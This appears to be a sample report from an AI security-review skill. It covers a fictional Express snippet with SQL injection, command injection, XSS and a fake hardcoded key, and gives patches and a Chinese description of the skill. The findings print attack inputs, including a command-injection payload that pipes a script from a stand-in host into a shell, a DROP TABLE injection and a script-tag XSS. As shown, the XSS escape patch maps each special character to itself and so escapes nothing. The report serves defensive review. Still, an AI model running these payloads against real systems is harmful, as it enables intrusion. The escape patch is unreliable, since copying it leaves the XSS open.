╔══════════════════════════════════════════════════════════╗
║ 🔐 SECURITY REVIEW REPORT ║
╚══════════════════════════════════════════════════════════╝
Project: skill-trial (fictional snippet) Scan Date: 2026-10-05
Scope: server.js, package.json (the whole project)
Languages: JavaScript (Node.js) Frameworks: Express
┌──────────────┬────────────────┐
│ 🔴 CRITICAL │ 3 findings │
│ 🟠 HIGH │ 2 findings │
│ 🟡 MEDIUM │ 1 finding │
│ 🔵 LOW │ 2 findings │
│ ⚪ INFO │ 2 findings │
├──────────────┼────────────────┤
│ TOTAL │ 10 findings │
└──────────────┴────────────────┘
Dependency Audit: 2 vulnerable packages
Secrets Scan: 1 exposed credential
The snippet is a single line, so locations are given by route instead of line number.
Injection
🔴 CRITICAL: SQL injection (Confidence: HIGH)
📍 server.js, GET /user
db.query("SELECT * FROM users WHERE id = "+req.query.id, ...)
⚠️ req.query.id goes straight into the SQL string. An attacker can dump or modify any table, for example /user?id=0 UNION SELECT .... If ./db allows stacked queries, they can also run ; DROP TABLE users. Express can also parse id[]= into an array or object, which makes the input shape unpredictable.
📚 OWASP A03:2021
🔴 CRITICAL: OS command injection (RCE) (Confidence: HIGH)
📍 server.js, GET /run
require("child_process").exec("ping -c1 "+req.query.host);
⚠️ exec runs the string through a shell. /run?host=1.1.1.1;curl evil.sh|sh gives remote code execution as the server user. The response doesn't echo the output, but the attack still works blind, and it can use reverse shells or DNS exfiltration. The endpoint is also unauthenticated.
📚 OWASP A03:2021, CWE-78
🟠 HIGH: Reflected XSS (Confidence: HIGH)
📍 server.js, GET /page
res.send("<h1>Hello "+req.query.name+"</h1>");
⚠️ res.send with a string sets Content-Type: text/html, and name is not escaped. A link such as /page?name=<script>…</script> runs script in the victim's session on your origin.
📚 OWASP A03:2021, CWE-79
Authentication and access control
🟠 HIGH: Missing authentication/authorization, with excessive data exposure (Confidence: HIGH)
📍 server.js, GET /user (and /run)
⚠️ No authentication middleware exists anywhere. Anyone can request any user ID (IDOR) and receive the full SELECT * row. That likely includes password hashes, emails and other PII. Sequential IDs make enumeration easy. jsonwebtoken is in package.json but is never used.
Error handling
🟡 MEDIUM: No error handling on the DB call (Confidence: HIGH)
📍 server.js, /user callback (e,r)=>res.send(r)
⚠️ The error e is ignored. On failure r is undefined, so the request hangs or returns an empty response. If you "fix" this by sending e, you would leak SQL error text, which makes the injection easier to exploit. Log the error server-side and return a generic 500.
Hardening
- 🔵 LOW: No security headers.
helmet()is missing, and there is no CSP, which would have limited the XSS. (Confidence: HIGH) - 🔵 LOW: No rate limiting on any endpoint.
/runcan be used to flood other hosts. (Confidence: HIGH)
🔑 Secrets and exposure scan
🔴 CRITICAL: Hardcoded Stripe live key (Confidence: HIGH)
📍 server.js, top of file
const STRIPE_KEY="sk_live_FAKE_EXAMPLE_NOT_A_REAL_KEY_1234";
The sk_live_ prefix marks a live secret key. Anyone with repo access can issue charges and refunds and read customer data. The key is also unused in this snippet, so it is dead weight with real risk. This one is a fake example, but a real key in this position would need these steps:
- Rotate the key in the Stripe dashboard.
- Load it from
process.env.STRIPE_KEY. - Keep
.envout of git. - Check git history with
git log --all -p | grep sk_live_, and purge it with git-filter-repo or BFG if it appears.
📦 Dependency audit
- 🟠 HIGH: [email protected] is below 4.17.21.
- CVE-2020-8203: prototype pollution in
zipObjectDeep, fixed in 4.17.19. - CVE-2021-23337: command injection via
_.template. - CVE-2020-28500: ReDoS.
- Fix:
npm install [email protected]. The snippet doesn't call lodash, so exposure is conditional, but the version is still vulnerable.
- CVE-2020-8203: prototype pollution in
- 🟠 HIGH: [email protected] is below 9.0.0. It has algorithm and key-confusion weaknesses (CVE-2022-23529, CVE-2022-23539, CVE-2022-23540, CVE-2022-23541). Fix:
npm install jsonwebtoken@9. Always pass an explicitalgorithms: [...]list toverify. - ⚪ INFO:
expressand./dbare required in code, butexpressisn't listed inpackage.json, and there is no lockfile. The app won't install cleanly, and versions can't be audited or pinned. - ⚪ INFO:
lodashandjsonwebtokenare declared but unused. Remove them if they aren't needed, which shrinks the attack surface.
🛠️ Patch proposals
⚠️ Review each patch before applying. Nothing has been changed yet.
Patch 1/4: SQL injection in /user
// BEFORE
db.query("SELECT * FROM users WHERE id = "+req.query.id,(e,r)=>res.send(r));
// AFTER: parameterized query, selected columns only, and error handling
// (placeholder syntax assumes mysql-style `?`; use $1 for pg)
db.query("SELECT id, name FROM users WHERE id = ?",[req.query.id],(e,r)=>{
if(e) return res.sendStatus(500); // don't leak DB errors
res.json(r);
});
Patch 2/4: Command injection in /run
// BEFORE
require("child_process").exec("ping -c1 "+req.query.host);
res.end();
// AFTER: no shell (execFile), validated input, "--" ends option parsing
const net=require("net");
const host=String(req.query.host);
if(!net.isIP(host)) return res.sendStatus(400); // allow-list: IPs only
require("child_process").execFile("ping",["-c1","--",host],()=>res.end());
Also put this route behind authentication, or remove it.
Patch 3/4: XSS in /page
// BEFORE
res.send("<h1>Hello "+req.query.name+"</h1>");
// AFTER: HTML-escape output (or use a template engine with auto-escaping)
const esc=s=>String(s).replace(/[&<>"']/g,c=>({"&":"&","<":"<",">":">",'"':""","'":"'"}[c]));
res.send("<h1>Hello "+esc(req.query.name)+"</h1>");
Also add app.use(require("helmet")()).
Patch 4/4: Hardcoded secret
// BEFORE
const STRIPE_KEY="sk_live_FAKE_EXAMPLE_NOT_A_REAL_KEY_1234";
// AFTER: read from the environment; rotate the old key
const STRIPE_KEY=process.env.STRIPE_KEY;
The missing authentication finding needs a design decision, so I haven't written a patch for it. Add auth middleware (for example, verifying a JWT with jsonwebtoken@9) and check that req.user.id matches the requested ID or the user is an admin.
⚡ Next steps
- Rotate the key, then fix the SQLi and command injection first.
- Add authentication, then fix the XSS and upgrade the dependencies.
- Add helmet and rate limiting, and commit a
package.jsonwith all dependencies plus a lockfile.
💡 This is a static review of the snippet as given. I couldn't see ./db, so the SQL placeholder syntax and stacked-query behavior are assumptions.
Real run in an isolated folder with only this skill installed. Only the Skill and Read tools were enabled, so nothing was fetched from the web and no file was written. The example is fictional. The code is a short fictional snippet with an obviously fake key; the model opened three of the skill's reference files and changed nothing.
它做什麼
對整個專案或指定路徑做安全掃描,涵蓋 JavaScript、TypeScript、Python、Java、PHP、Go、Ruby 與 Rust。它會對照一份整理好的觀察清單稽核相依套件,掃描寫死的金鑰與外洩的憑證,再分析注入(SQL、XSS、指令)、驗證與存取控制(IDOR、JWT、CSRF)、資料處理(SSRF、路徑穿越、反序列化)、密碼學與商業邏輯缺陷,並跨檔案追蹤資料流。
運作方式
- 模型先確定掃描範圍並載入對應語言的模式。
- 依序做相依套件稽核、金鑰掃描、深度掃描與跨檔案資料流分析。
- 對每項發現再核對一遍以減少誤報,依嚴重程度(從嚴重到資訊)與把握程度評級,並依類別歸組輸出報告。
- 對嚴重與高風險的發現,提供修改前後的程式碼,並明確聲明「尚未更動任何檔案」。
適合什麼場景
發布前審查自己的程式碼、檢查某個 PR 涉及的區域、對一個倉庫做快速分流。
請先讀這一條:為了找出金鑰,Skill 會讓模型掃描所有檔案,包括 `.env`、設定、CI 與基礎設施檔案,而且沒有任何規則要求對真實值遮蔽,所以真實金鑰可能進入你的對話或報告。請把範圍限制在某個資料夾、先移除或輪替真實金鑰,或在副本上執行。它只做靜態分析:不會執行你的程式碼,修補只展示、不套用。報告中可能建議 `git log --all -p | grep` 以及改寫歷史的工具,沒弄懂之前請勿執行。相依套件檢查依據的是固定的觀察清單,不是即時漏洞資料庫。它無法取代專業的資安稽核。